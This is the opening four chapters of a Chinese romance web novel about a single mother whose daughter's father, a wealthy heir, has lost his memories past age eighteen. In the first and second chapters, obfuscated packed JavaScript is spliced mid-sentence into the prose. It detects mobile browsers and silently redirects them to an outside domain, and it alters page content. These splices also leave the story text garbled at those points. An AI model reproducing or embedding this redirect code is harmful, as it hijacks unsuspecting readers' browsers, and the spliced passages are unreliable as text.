《我的爸爸十八岁》 1. 第 1 章 窗外风吹树摇下着瓢泼大雨,掩住了屋内低低的喘息。 空气里压着潮热,地上堆叠的衣服凌乱,沈安若陷在柔软的床被里,身体深处一点点漫出的难受快要将她吞没,她仰起头想要靠近他,他却避开她的唇,盯着她,哑声问:“为什么要上我的车?” 沈安若搂上他的脖子,颤微微地表白:“因为我喜欢你。” 他不答,眼神冷如寒冰。 沈安若得不到回应,眼眶渐红:“你喜欢我吗?一点点也算。” 他嗤一声,看她的目光满是讥诮:“你也太高看自己,我怎么会喜欢一个骗子,滚!这辈子都不要再出现在我面前。” 一阵嗡声的振动压着桌板响起,沈安若猛然从梦中惊醒,心跳如雷。 旁座的贺怀章摁掉推销电话,转头看她:“做噩梦了?” 沈安若回过神,摇摇头,也不算是噩梦,只不过是梦到了一些旧事。 雨点砸到舷窗划出斑驳的水痕,广播里响起飞机即将落地北城的播报,她带着诺诺离开北城的那天也下着雨,时隔一年再来北城,又是一场雨。 也不知道家里现在有没有下雨,诺诺最喜欢下雨天。 沈依诺盘腿坐在落地窗前,双手托腮,一动不动地看着外面,豆大的雨点子噼里啪啦地砸到地上,她眼睛一亮,直接跳起来,穿上自己粉色的小雨鞋,拿起旁边的小花伞,拉开落地窗,跑到了院子里。 终于下雨啦! 自从妈妈给她买了这把小花伞,她就一直盼着老天爷爷能给她下一场哗啦啦的雨。 隔壁院的小胖已经在外面等了很久,听到这边院子的动静,忙跑过来,趴到铁栅栏上。 但是铁栅栏围得严实,他看不到人,只能贴着缝隙向诺诺显摆:“沈依诺,我妈妈给我买了奥特曼雨衣,你没有吧?你妈妈不给你买。” 诺诺举着小花伞在雨里转圈,本来不想搭理小胖,但她现在太开心了,奶声奶气回他:“我有小花伞呀,不需要奥特曼的雨衣。” 小胖噎住,不服气,低头看到自己的新雨鞋,又得意:“我有新雨鞋,你的雨鞋是旧的。” 诺诺嗓音软糯:“你的鞋已经穿在脚上了,现在也是旧的了。” 小胖又是一噎,他平时最喜欢干的事情就是把别人给欺负哭,可这个沈依诺从来都不怕他,他比她都要高一个头了,他一定要让她哭一次,他要当幼儿园里的老大。 他突然想起奶奶今天早晨在饭桌上的话,双手叉在腰上,昂起他那三层褶的下巴冲着天:“你没有爸爸,你好可怜,连爸爸都没有,我就有爸爸。” 诺诺眨巴眨巴眼睛,像是同意他的说法:“哦,那你不可怜,”又隔着铁栅栏认真问,“你的屁股还疼吗?” 小胖的脸僵住,下意识地摸摸自己还肿着的屁股,昨天在幼儿园门口被他老子踹的委屈又涌上来,嘴一瘪就要哭,还反告一状:“沈依诺,你太坏了,你欺负我,我要去告诉我爸爸。” 诺诺一点儿都不怕他,桂姨婆说他就是个纸老虎,她道:“我要是能把你给欺负了,你是不是以后得叫我老大?” 小胖一句话都说不出,他其实根本不敢跟他爸说什么,他爸要是知道他被一个小姑娘给欺负了,准得又骂他一顿,他拿诺诺这个小不点没办法,羞愤交加,踹一脚栅栏,转身就走,再不要理她一下。 诺诺叹一口气,这个小胖和他那个爸爸一样,一不开心就爱踹东西。 有爸爸有什么好的,她可不想要一个凶凶又臭臭的爸爸,她有妈妈就够了。 哦,还有桂姨婆,姨婆可厉害了,会做好多好吃的饭,会织好漂亮的毛衣,还不怕毛毛虫,妈妈也不怕毛毛虫,只有她怕。 妈妈说有害怕的东西很正常,谁都会有害怕的东西,就像妈妈虽然不怕毛毛虫,但她很怕高,一坐大飞机就会害怕,她就不会怕,每次坐大飞机,她都会握住妈妈的手保护妈妈。 这次她没有在妈妈身边,也不知道怀章叔叔能不能保护妈妈,等妈妈的大飞机落了地,她要问问妈妈。 正在做饭的黄桂琴在屋里喊人:“诺诺,妈妈来电话了。” 诺诺高兴地应一声,急急地跑进屋,她正想着妈妈,妈妈的电话就打来了,看来妈妈也在想她。 沈安若和女儿通完话,又回了几条工作群里的信息,行李箱从手边溜走,贺怀章伸手要给她拿,沈安若拽住行李箱:“我自己来就行,你手又不方便。” 贺怀章前几天踢球不小心把手给扭到了,还是右手,做什么都不方便,不然这次来北城出差他自己一个人也可以应付,贺怀章有些歉意地看她:“你这几天不在家,诺诺不会闹吧?” 提到女儿,沈安若不由弯起唇角:“不会,她等着我给她买礼物回去呢,还给我报了个清单。” 贺怀章看着她眉眼里的盈盈浅笑,一时有些失神,受伤的胳膊被路人撞到,钻心的疼又将他的思绪扯回来。 一行西装革履的人从他身边大步流星地走过,个个看起来都是人中精英,周围的人纷纷看过去,连熙熙攘攘的嘈杂声似乎都小了些。 那一行人中最引人注目的,要属走在最前面的那一位,一身黑衣的休闲装,短寸头,肩宽腿长,背影高大,光看气场就知道是个非富即贵的主儿。 皇城根儿脚下,难免会碰到一些大人物,贺怀章收回视线,目光又落到沈安若身上,看她面色有些白,关切问:“身体不舒服?” 沈安若勉强笑了下,只道没事儿。滴滴司机打来电话问他们在哪儿,他已经到了。沈安若回着司机的话,拉起行李箱目不斜视地向电梯走去。 方大川跟在老板身后,面上很平静,心里热闹得像在逛大庙,他余光里已经偷偷瞄了沈安若好几眼。 这一年来,他每周都定期向老板事无巨细地汇报江城那边的人发过来的资料,这还是他第一次见到资料中的真人。 他跟老板的时间不长,有好多事情他都不清楚,他只知道老板之前遭遇车祸,重伤,昏迷了两年多,一年前才醒过来。 现在身体各方面的机能已经基本恢复,但丧失了部分记忆,确切地说老板现有的记忆只到十八岁。 国内外相关方面的权威专家经过几轮会诊,得出的最终结论都是一样的,由于老板大脑神经上的损伤不可逆转,有些记忆可能永远都不会恢复。 方大川有理由怀疑老板十八岁那年是不是发生了什么重要的事情,不然老板的记忆怎么就单单以十八岁这个节点给断掉了。 或许有可能跟小公主的妈妈有关,那些狗血短剧里不都是这么演的,他每当被工作折磨得想要吐血时,都是看狗血短剧来解压的,越狗血,越能让他回血。 方大川又偷偷瞄了老板两眼,不过他也瞄不出什么来,他老板一张扑克脸永远不会让人猜透他在想什么。 单看两人现在这样形同陌路的碰面,他有些拿不准两个人的关系,闹掰了的离婚夫妻?还是被老板遗忘的旧情人? 但小公主是真漂亮,像妈妈。 他每次看到小公主的照片,都情不自禁地想要咧嘴笑,他要是有这么个漂亮又可爱的女儿,得从梦里笑醒。 他都不知道老板每次看到那些照片,是怎么忍住那一张脸没一点儿表情的,他有的时候都觉得老板不止伤了大脑神经,也伤了面部神经,所以现在连笑都不会了。 当然这些话只是他心里无数的诽腹之一,豪门秘辛多,伴君又如伴虎,眼要快嘴要严是他的基操。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506414|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板从昏迷中一醒来就多了个女儿这件事,他是仅有的几个知情人之一,他就是想和谁八卦的心都冲破了天,也要死死忍住,连女朋友和亲爹娘都不可以,也就只能在梦里和周公唠唠。 沈安若到了酒店,拿热水冲了把脸,脸上才有了些血色,她看着窗外的雨呆坐了一会儿,拿出化妆包开始化妆。 他们这次来北城,除了要拜访客户,还要在今晚的酒会上见几位意向投资人。 她一年前回到江城加入现在的团队,合伙人贺怀章和冯宝珠都是她的高中同学,公司主要是做陪护机器人这一块儿。 贺怀章主抓技术,冯宝珠负责业务,她管运营,公司规模不算大,但大家干得都奔头十足。 她对现在的生活很满意,有女儿,有自己的房子,还有一份她喜欢还能覆盖生计的工作。 她并不希望和那些旧人旧事再有什么牵扯,他不记得她,也忘了那两年的事情,于他于她都不是一件坏事。 就算有一天他因为女儿找上门,她也没什么好怕的,她当初是利用欺骗了他,可他也不过是拿她当个猫儿狗儿在逗着玩儿,他们之间谁也不亏欠谁。 沈安若一笔一笔描摹着眉眼,心里的慌乱渐渐平息。 酒会场所私密,来宾身份大多显贵,有不少在新闻或是财经杂志上常出现的熟面孔,贺怀章初见这样的大场面,一开始难免有些紧绷,但他心大胆子也大,没一会儿就适应开。 沈安若对这样的场合不陌生,无论是喝酒还是应酬,她都驾轻就熟,贺怀章在自己的专业领域又有绝对的自信,无论对方抛出什么样的问题,他都能深入浅出地说明白,两个人打配合打得十分默契。 事情比预想中的顺利,贺怀章很兴奋,给远在德国的冯宝珠连发了几条消息。 沈安若却不敢高兴太早,人家肯收他们名片只是第一步,有没有后续才是关键,但她没有提这些话,乐观不是一件坏事情,他们现在需要这种士气。 酒场过三巡,沈安若和贺怀章在无人的角落凑在一起,低声复盘着刚才聊得好的几位老总,看在别人眼里俨然是一对儿背着人在偷偷耳鬓厮磨的热恋情侣。 刚接完家里电话的陈瑾舟正向他三哥炫耀自己的大宝贝儿子,三四岁的年纪,正是招人疼的时候,要多可爱有多可爱,没当过爹的人根本没办法体会这种感觉。 陈瑾舟激动地说了老半天,却发现身边的人压根儿就没听他说话,他顺着他的视线看向楼下的宴会厅,这一看可不得了,他两只眼登时支棱起来。 这满场子的美女虽然多,那女人身上的那种漂亮却是独一份的。 一袭黑裙勾出窈窕纤柔的身段儿,长发低挽,露出修长的颈项,在灯光下泛着羊脂玉的润泽,红唇雪颜,清清冷冷中又有一股子妖妖娆娆的劲儿,这要是再笑起来肯定能要人命。 陈瑾舟想让自己显得不那么八卦:“认识?” 林修远收回视线,面无表情:“不认识。” 他在他现存的记忆里找不到任何和她相关的事情,她只在他的梦里出现过一两次,说谎哄人不眨眼,脚踩两只船,心狠做事又绝,是他在现实中不会去多看一眼的人。 陈瑾舟可不信他的话,他这位三哥什么时候这样盯着一个女人看过:“不认识你怎么老盯着人家看,”他又昂昂下巴点点贺怀章,看热闹不嫌事儿大,“再漂亮也是人家的女朋友,咱可不兴撬人墙角的。” 林修远眉心微一蹙,复又展开,淡淡道:“她是我女儿的妈。” 陈瑾舟一愣,嘴张了张,又闭上,是他这些年在国外呆的时间太长了吗,怎么突然就听不懂中国话了。 三哥什么时候多了个女儿?!他怎么不知道!? 2. 第 2 章 北城出差三天,再回江城,空气里漫着料峭的寒意,一场秋雨淅淅沥沥下了几天,总算见了晴。 沈安若回家放下行李,直接去了幼儿园,她提前一天回来的,没跟诺诺说,想给她一个惊喜,时间还早,沈安若站在文具店的屋檐下和冯宝珠通电话。 冯宝珠声音里掩不住笑:“我就知道你俩一出马,这事儿肯定就能成十之七八,你们简直就是拯救我于水火,等我回去,咱去鼎湘阁,我请客,必须得好好吃上一顿庆祝庆祝。” 沈安若和贺怀章这次的出差还算有收获,谈下了两个新客户,更重要的是,一家风投公司下周要安排人来他们这儿考察。 他们之前对找投资这事儿还不太急,冯宝珠家从爷爷辈儿就是做黄金珠宝生意的,发展到现在,冯家的银楼店已经开到了全国各地,背靠着这么一座大山,他们一直没有因为钱的事情发过愁。 自从冯宝珠搅合黄了家里给她安排的婚事,她父亲一怒之下,发了话,要终止对他们下一季度的投资,现在贺怀章的项目进行到关键,正是烧钱的时候,资金链要是断了,他们之前所有的努力都得前功尽弃。 如果能跟这家投资公司谈成合作,冯宝珠就有了跟家里叫板的底气,她都能想象到她家老头子听到这个消息时的脸色。 冯宝珠越想越开心,她的眼光就没错过,幸亏当初她卖着她这张脸,把安若给拉进了公司,要是没安若在,照着她和贺怀章一天能干三架的阵仗,公司早就黄成了渣渣。 两人聊着下周那边来考察的事情,一直到放学铃声响起才止住话头,沈安若收起手机,走去幼儿园门口,有和诺诺同班的家长看到沈安若,纷纷笑着和她打招呼。 小朋友们之间处得好的,家长间的关系也会不错,小胖的奶奶一个人站在树下,没一个人跟她搭话。 小胖小名就叫小胖,大名叫朱友成,班上不说全部吧,几乎有一半的家长都和小胖奶奶吵过架。 她家那个小胖子来这个幼儿园不过才几个月,已经快把班上的孩子给欺负个遍了,关键是他们做家长的一点都不管,还觉得自家孩子能欺负人是他的本事,将来准能干大事儿,也不知道这都是什么思想。 家长们联名投诉过几次都不管用,好在他们那房东把房子卖出去了,他们一家子也要回老家了,那小胖子也就在这个幼儿园读到这个月月底,家长们对这一天的到来简直是翘首以盼。 小胖奶奶自然知道别人目光里的嫌弃,可她丝毫不觉得不好意思,她看到沈安若,狠狠地剜了她一眼,在这所有人里,她看沈安若最不顺眼。 沈安若原先还不知道这位老太太为什么最近一看到她就是一副见到仇人的表情,后来桂姨打探出了其中的缘由。 她家那儿媳妇正在跟她儿子闹离婚,老太太就劝她,离了婚的女人都过不好,男人就是再不像话,家里有这么个人跟没这么个人,差的那是天上地下。 她儿媳妇就拿沈安若举例子回击,说沈安若家里也没男人,人家那日子过得要多滋润有多滋润,不用给男人做饭,不用给男人洗内裤洗臭袜子刷臭鞋,更不用整天受男人的气,命都得比她多活上好几年。 打那儿起,这老太太就记恨起了沈安若,认定是沈安若把她家儿媳妇给带坏了,要不然儿媳妇和她儿子过得好好的,干嘛突然闹死闹活地要离婚。 大概在这老太太眼里,沈安若一个女人带着孩子就该把日子过得苦巴巴的才是正理。 沈安若最初买这个房子的时候,各方面都还挺满意,五层到顶,一层两户,小区环境很好,又安静,幼儿园和小学就隔着两条街,诺诺上学也方便。 她买的是一楼,还带一个小院儿,诺诺最喜欢这个小院儿,一来就舍不得走了。 这是她在几套房子里最终选定这套的原因,而且隔壁院的邻居是一对退休的老教授夫妇,为人和善,又有边界感,从不多打听什么,这也是沈安若看重的一点。 但是今年年初,老教授夫妇定居在北城的闺女怀孕了,他们奔了闺女那儿,中介把房子租给了小胖这一家。 开始也还好,最多就是不知道因为什么就得罪了那家老太太,在路上碰到冷不丁地得她一个白眼,沈安若也不给自己找气受,从来都不搭理她。 自打上个月小胖的爸妈闹起了离婚,这一家子的热闹就开始了,三天两头就能吵一架。 不是儿子和儿媳妇儿吵,就是儿媳妇儿和婆婆吵,每次吵架还都在夜深人静的时候,那大嗓门嚷得恨不得一栋楼都听到,派出所的同志已经来过几次。 幸亏她当初给卧房都做了隔音,不会影响到诺诺。 现在教授老夫妇把房子卖出去了,沈安若多少松了一口气,桂姨见过那个新邻居一面,是个年轻的小伙子,爱说又爱笑,看着倒是个好相处的,最起码应该不会再像朱家这样闹腾。 买房子这件事有的时候很像是在开盲盒,遇到什么样的邻居多少要看一些运气的成分。 沈安若一眼看到排着队往外走的女儿,抬起胳膊挥挥手。 诺诺看到妈妈,先是愣了下,像是不敢相信,确定自己不是在做梦,水灵灵的大眼睛立刻弯成月牙。 快走到门口时,她迫不及待地松开老师的手,甩着两个小辫子飞奔到沈安若的怀里,搂着妈妈的脖子撒娇:“妈妈,我好想你呀。” 沈安若将她一把抱起来,亲亲她的脸蛋儿:“我也好想诺诺。” 诺诺也亲亲妈妈,觉得还不够,又使劲再亲两下。 不远处的路边停着一辆黑色的车,车窗漆黑,看不到里面的人是谁。 诺诺拉着妈妈的手,一蹦一跳地走在夕阳下,一会儿给妈妈哼两句新学的歌,一会儿又背诵一首李白爷爷的诗,背着背着又想起什么有趣的事儿还没有跟妈妈分享,像只欢快的小雀儿,一路上话就没有停过。 沈安若给她顺了顺被风吹乱的头帘,又拧开水杯让她喝两口水。 路过街角的蛋糕店,诺诺闻到了奶油香,停住脚,仰头看妈妈,眼睛眨呀眨。 沈安若刮刮她翘挺的小鼻尖:“想吃什么?” 诺诺想都不用想:“草莓蛋糕,曲奇小饼干,还有蜂蜜小面包!” 沈安若拉着她进店:“去跟姐姐说都要买什么。” 店员小姐姐是新来的,诺诺第一次见,也不认生,走到柜台前,先跟店员小姐姐打了声招呼,大大方方地一个一个的下单。 从蛋糕店出来,迎面碰到蛋糕店的老板从车上下来,诺诺弯眼笑:“小方老板好。” 小方老板这个称呼是诺诺从桂姨婆那儿学来的,小方老板的爸爸就是老方老板。 方至诚看到沈安若,脸控制不住地有些红,他弯腰温声回诺诺:“诺诺同学好,”又直起身对沈安若道,“你这是出差回来了?” 话出口,脸又更红了些,自己说的这不是废话吗,她人都已经在这儿了,可不是出差回来了。 沈安若笑着回:“对,下午刚到。” 方家就住在沈安若那栋的顶层,楼上楼下偶尔会碰到,诺诺又是他家面包店的常客,一来二去就熟了。 方至诚还想说什么,沈安若的手机响起震动,她捏捏诺诺的手:“跟方叔叔说再见。” 诺诺咽下嘴里的曲奇饼干,甜甜道:“小方老板再见。” 沈安若对方至诚点一下头,接通电话,拉着诺诺往小区里走。 方至诚看着母女两人的背影,好半天都没有动,方至诚的母亲曹敏芝从街对面的菜市场出来,正好看到这一幕,脸有些冷,她紧了紧手里的袋子,没管方至诚,快步去追前面的沈安若。 沈安若接完电话,诺诺和曹敏芝已经聊了起来。 诺诺嘴甜又爱说,见到谁都能聊上两句,这些街坊邻居们,她认识的比沈安若还要多。 曹敏芝打心眼里稀罕诺诺,这要是她自己的亲孙女,她肯定对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹敏芝压着性子截住她的话:“我也是真觉得你们俩合适才跟你提的,他也是离了婚,带着一个儿子,你俩要是能在一起,那就是儿女双全,我跟你说他可能挣钱了,自己开厂子,一年大几十万的收入,人品方面你也不用担心,他前妻出轨他才离的婚,那女的是个花花肠子,整天不干正事儿光想着勾搭男人。” 她说着话,试探沈安若:“你和诺诺爸爸是因为什么离的婚?是不是他也不正干,你放心,这男人跟男人是不一样的,我这个侄子有责任心又知道心疼人,肯定比诺诺爸爸强。” 沈安若知道这曹老太太磨人的性子,也知道她在担心什么,干脆一劳永逸地解决问题:“我和诺诺爸爸不是离婚,是他……不在了。” 曹敏芝愣住。 沈安若再给她上一道保险:“我对他感情很深,这辈子都不可能忘了他,我以后也没有再结婚的打算,曹姨,您不用再为我费心这些事情。” 曹敏芝嘴张了张,又闭上,脸上有些讪讪,她看沈安若带着个孩子自己过,就想当然以为她和她男人离婚了,都没想到过这一层。 沈安若看她:“您别跟诺诺说,她不知道,她一直以为她爸爸去南极保护企鹅了。” 曹敏芝退休前在国企做行政工作,自觉清高,从不跟那些爱说人长短的老太太们在一起闲聊,只要不涉及到她自己的利益,她不是个多嘴的人。 她赶紧应下来,又握沈安若的手:“你也真是重情义,你说你年纪还这样轻,就这么一直给他守着,诺诺爸爸在天上看着得多心疼。” 沈安若佯装笑得苦涩,没说话,莫名感觉到有目光落在她身上,她偏头看过去,脸蓦地一白。 她嘴里“不在了”的那个人,一身黑的站在树下,冷峻的面容掩在半明半暗的霞光里,像是来自地狱的神祇,不知道在那儿站了多久。 3. 第 3 章 诺诺在电话里问:“妈妈,你什么时候回来呀?” 沈安若回:“妈妈突然想吃栗子了,来外面买点儿栗子,再有十分钟就回去了。” 诺诺“哦”一声,又乖乖巧巧道:“妈妈,我可不可以先吃一小小口草莓蛋糕?” 妈妈说草莓蛋糕要等到饭后才可以吃,可她趴在桌子前看着蛋糕上的草莓,有些等不到饭后再吃第一口了。 沈安若道:“你可以先吃三小口,让姨婆给你切。” 诺诺咯咯笑开,还不忘表白:“妈妈,我好爱好爱你。” 沈安若眼睛不自觉地弯了弯,撞上餐桌对面没有温度的目光,她垂下眼帘,轻声道:“妈妈也爱你。” 哄好女儿,沈安若挂掉电话。 咖啡厅里除了他们这一桌空无一人,连老板都不知道去了什么地方,门口守着两个男人,应该是他的人。 他会找到这里,她不是没有心理准备,他的身体看起来似乎已经完全恢复,就是不知道他的记忆是不是还只停留在十八。 低缓的音乐戛然止住,空气里更加安静。 沈安若抬起了些视线,停在他的下颌,没再向上,又转头看向别处。 林修远懒懒地靠着椅背,就那样看着她,神色冷冷淡淡,看不出在想什么。 沈安若受不住这样难捱的沉默,他说要谈一谈,却一直不说话,她的唇张了张,又咬住,她其实也不知道要说些什么来打破现在的冷场。 林修远从她红润的唇上漫不经心地移开眼,开口道:“抱歉。” 沈安若有些怔愣,望向他,不解的眼神和诺诺遇到困惑的时候一模一样,清凌凌的眸底能倒出人影。 她不明白他这句抱歉的出处。 林修远道:“你说你对我的感情很深,我却什么都不记得。” 沈安若睫毛眨了下,她握上温热的水杯,搬出自己在心里排练过很多次的话:“深……过,后来就淡了,然后就分开了,”她顿了顿,艰难道,“我跟那位老太太说的都是推脱的话,你不用当真。” 她再不想他出现在她面前,也没有要咒他死的意思。 林修远看着她浓密的长睫,目光有审视。 他手上有她过往的一些资料,自幼父母双亡,在姑姑家长大,大学一毕业就进入林氏的江城分公司,做了他两年的助理,在他离开江城后办理了一年的停薪留职。 诺诺在那一年的冬天出生,他也是在那个冬天出的事情。 转年春天,她被调到林氏总部做他妹妹林浅语的秘书之一,又在一年前他醒来后不到一个月,从林氏离职回到江城。 他们的分开肯定不是如她所说的那样平和,他能感觉到她想要隐瞒什么。 林修远手指轻叩着膝盖:“我们当初在一起了多长时间?” 沈安若目光定在光洁如镜的桌面上:“半年。” 林修远睨一眼她越来越没有血色的脸:“你那个时候查出怀孕,没有联系过我?” 沈安若默了默,摇头,始终不看他:“那段时间我状态不太好,感觉到身体不对去医院检查的时候,都快四个月了。” 她的手有些凉,不想再回忆那段时间的事情,握紧水杯,加快了语速:“你当时在国外,我就是想联系也联系不到你,再后来你就出事情了。” 林修远没戳破她话里的漏洞,拿话探她的底:“你如果打定主意不想让人知道诺诺的爸爸是我,你应该藏得更好一些。” 沈安若一顿,随即反应过来他话里的意思。 确实,要不是她当初同意了公司的调动去了总部,他妹妹小林总也不会在无意间发现诺诺的存在,在他看来,这个“无意”大概是她人为的成分更多一些。 她挺直背,看着他微微一笑:“你不是已经猜到了,一开始我确实没打算让谁知道,但后来你出了事情,手机上每天都是你的新闻,说你醒来的机率几乎为零,你要是死了,诺诺就是你在这个世界上唯一的骨肉,我相信你母亲和妹妹肯定不会亏待了我们母女。” 他已经给她扣下了这顶帽子,她总不能白担了这个名分。 沈安若又道:“你既然找来了,肯定已经确定诺诺就是你女儿无疑了,所以钱也好你们林氏的股份也好,该是她的一分都不能少,你要是不给,我就去找媒体,拿着你的床照随便爆一爆当年的事情,你可就不是掉一层血那么简单了。” 没有等来预料之内的动怒和冷言嘲讽,他冷眼瞧着她,默不作声,沈安若直视他,不躲不闪。 林修远眼里的审视慢慢散了些,他回道:“明天会有律师和你联系这些事情。” 联系什么?给钱给股份?还是要告她敲诈勒索? 不管是什么,她都能接住。 她早就不是当初那个被他看一眼就会慌乱无措的沈安若,她是他带出来,他教过她,要想赢过对方,你得先学会稳。 几年前她或许还不是一个合格的学生,但时间总能让人成长,沈安若淡定地对他笑,回道:“好。” 咖啡厅外的街道人来人往,暮色四合下,昏黄的路灯挨个亮起,有人不经意地透过宽大的落地窗看到临窗的一男一女,有些好奇。 两人俱是出色的相貌,面对面而坐,相顾无言,像是貌合神离的夫妻,又像是久别重逢的恋人。 空气静默的咖啡厅里,刚才停下的音乐又缓声响起。 林忆莲的嗓音婉转低靡,“夜幕渗满雨水,仍然想把你婉转相拒,却似推不掉暖暖的嘴,你抱紧孤独身躯,若让你吻下去吻下去,人生可否变做漫长浪漫程序,或情是一曲短得太短插曲,事完后更空虚……” 沈安若端起水杯喝了一口水,抬眼看向外面的朦胧夜色。 林修远眉心蹙起,脑袋里涌起一阵针扎似的疼,他醒来后,头疼是常态,但还没有疼到像现在这样难以忍受的地步。 沈安若注意到他脸色的不对,想当看不见,又听见自己出了声:“不舒服?” 林修远缓过那阵疼,只道无碍。 沈安若也就不再多问,看一眼时间,拿包要起身:“我该走了,”想起什么,又看他,“我跟诺诺说的是你去南极保护企鹅了。” 他可以毫无预兆地出现在她面前,诺诺不一样,她不希望他吓到她。 林修远看她:“我下个月会 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沈安若站直,居高临下地看他,心平气和道:“林修远,我确实是在你不知情的情况下生下了女儿,但这并不是犯了什么大罪,你不用拿话这样堵我,你今天要是不找上门,我这辈子绝对不会再出现在你面前。” 她不习惯在公共场合和谁撕破脸,把声音压到最低:“我们之间的事情,以你的手段,你不用过来问我,我相信你也能查个一清二楚,可你偏要找过来,你想当爹又觉得自己受了骗,就算我是拿女儿想讹你钱,又怪谁?你当初但凡少上我的床一次,现在也不用面对这种局面。” 她似想起什么,扯唇笑了笑:“哦,抱歉,我忘了,你失忆了,不记得当初了的事情。” 沈安若话说完,又有些恼自己,何必说这些,要说错,归根到底所有的错都源自于她,从最初的一开始,她就不该去招惹他。 可要是那样,现在也就不会有诺诺,女儿是拿什么都换不来的。 沈安若绷直的肩膀不由地卸了些力,她不想让他看出自己的丧气,攥紧包,转身要走,脚步却被迫停在原地。 她回身看他。 林修远叩住她的手腕,似笑非笑道:“我就是再有手段,也不会查到所有的事情,比如我的床照,我都不知道我还有这种喜好。” 沈安若睫毛轻轻起颤。 林修远盯着她脸颊慢慢洇出的浅粉,半晌,忽地开了口,不是很确定的语气:“沈小姐,我当初是不是很喜欢你?” 她确实跟他梦里梦到的一样,不管是对别人,还是对他,都说谎成性。 刚才她说的有关她和他的事情,起码掺着一大半的水分,她想骗人的时候不难看穿,睫毛会眨得频繁,耳根会泛出红。 四年前的火候想必还远不如现在,演技这样拙劣,他能留她在身边那么久,还会让她拍他的床照。 除了喜欢,他想不出还有什么其他的理由。 虽然他十分确信自己不是一个见了漂亮女人就昏头的人。 再漂亮也不会。 4. 第 4 章 诺诺窝在妈妈怀里,闻着妈妈身上香香的味道,沉重的眼皮渐渐撑不住,迷迷糊糊地闭上了眼,唇角还噙着笑。 沈安若放下故事书,低头亲亲她红扑扑的小脸蛋儿,看着她浓密的睫毛,有些恍惚。 见过诺诺的都说她长得像她,其实诺诺更像小时候的他,她看到过他两三岁的照片,唇红齿白,漂亮得像个洋娃娃,要不然当初他妹妹小林总也不会在见到诺诺的第一眼,就产生怀疑。 她有些意外他在咖啡厅问出的那个问题,她不知道他是从哪儿给自己得出的结论,她如实回答了他,拿他亲口对她说过的话,“你当初不过是在江城无聊,拿我当个逗闷子的玩意儿”。 她原本想把他们的过往描述成寻常情侣的恋爱和分手,反正他什么都不记得,编什么样的故事都随她说。 他要是想当爹,他们也不是不可以和平相处,就像离了婚的夫妻那样,她不希望他们的事情牵扯到诺诺身上。 可他三言两语就逼出了她的情绪,他那样想,她不如他所愿都对不起诺诺,有了钱她干脆直接换个大平层,这样也就不用再担心会遇到什么烦心的邻居。 沈安若乱七八糟地想了很多,头都有些胀,她给诺诺压了压被角,轻着动作起身,出了卧室。 黄桂琴正在捞刚出锅的卤货,沈安若闻着香味儿凑到厨房,黄桂琴看她:“要不要喝点儿?” 当然要,桂姨最懂她。 沈安若转身去冰箱拿啤酒,关掉客厅的大灯,打开墙角的落地灯,从储物间拿出一张小圆桌放在落地窗前,又将两个软垫扔到地上,推开半扇窗,夜晚的风卷着徐徐的凉意吹进来,很舒服。 黄桂琴切了一盘卤货,又炸了盘花生米。 两个人在软垫上盘腿而坐,举起啤酒先碰一下杯,沈安若仰头将啤酒喝掉大半,连筷子都懒得用,直接上手拿了片藕放到嘴里,满足地眯了眯眼。 黄桂琴看着她笑,也喝一口酒:“曹敏芝找你说什么了?” 沈安若简单提了两句。 黄桂琴冷哼了声:“她那点小心思就差摆脸上了,全世界就她儿子是个宝,谁都配不上,你看着吧,小方老板娶个称心的媳妇儿难,他是个面团软性子,什么都是他娘说了算,就算他有看上的,曹敏芝要是不满意,也得给他搅合了。” 她想到什么,挨近沈安若,认真道:“说真的,你一点结婚的想法都没有?其实不止一个人跟我打听过你。” 沈安若摇摇头,对曹敏芝,她不过是假话敷衍应付,在桂姨面前她愿意坦露自己心里的想法。 “我有诺诺就够了,以后都不会再生,自己没孩子的男人很难会同意这点,要是对方有自己的孩子,一结婚,两大两小,再加上对方的父母,结合成一个家庭,或多或少都会有矛盾,我不想没完没了地消耗自己的情绪去维持一个家庭表面的和谐,更不想诺诺受到一丁点的委屈。” 她又喝一口酒,慢慢道:“我更喜欢现在的日子,钱我自己挣自己花,不必看谁的脸色,过得自在还有底气,我的情绪是正面的,传递给诺诺的情绪也会是好的,她每天都过得开开心心,才会足够的安全感,现在这个社会,家里不是非得有一个男人来当爹才可以。” 黄桂琴看着她眼底透亮的光,不由感慨:“你活得比我通透,我也是活到这把年纪才明白过来,这人啊,对自己好一点比什么都强,你看我忙忙叨叨大半辈子,为了这个为了那个,最后什么都没落下。” 黄桂琴上半辈子过得不太顺当,结过两次婚,人生过了一半,无儿无女,孑然一身,连给自己容身的只房片瓦都没有,和第二个男人离婚的时候要不是遇到沈安若,给了她一份工,让她的生活有了些盼头儿,她当时想跳河的心都有。 沈安若夹一块儿牛肉送到黄桂琴嘴边,不让她再想那些不好的事情:“您怎么什么都没有,您不是有我和诺诺,咱仨过,日子怎么过舒坦咱们怎么来。” 黄桂琴吃掉牛肉,又笑:“婚不结就不结,倒是可以谈谈朋友,你说你才多大,日子怎么过得比我一个老婆子还清心寡欲,你要趁现在多享受享受,不然到了我这个年纪,你后悔都没地儿后悔去。” 沈安若幽幽叹一口气:“这不是没人跟我谈。” 黄桂琴嗔她一眼,哪儿是没人跟她谈,是她根本就不给人机会,她想起了贺怀章,俩人再合适不过,贺怀章长得好,性子也好,对诺诺更是没话说。 不过名字在嘴里倒了一遍,黄桂琴还是没说出来,两个人以前是同学,现在又在一起工作,窗户纸捅破了,要是安若没那个意思,以后处在一起会不自在。 手机震一下,沈安若划开屏幕看了眼,又把手机递到黄桂琴面前: 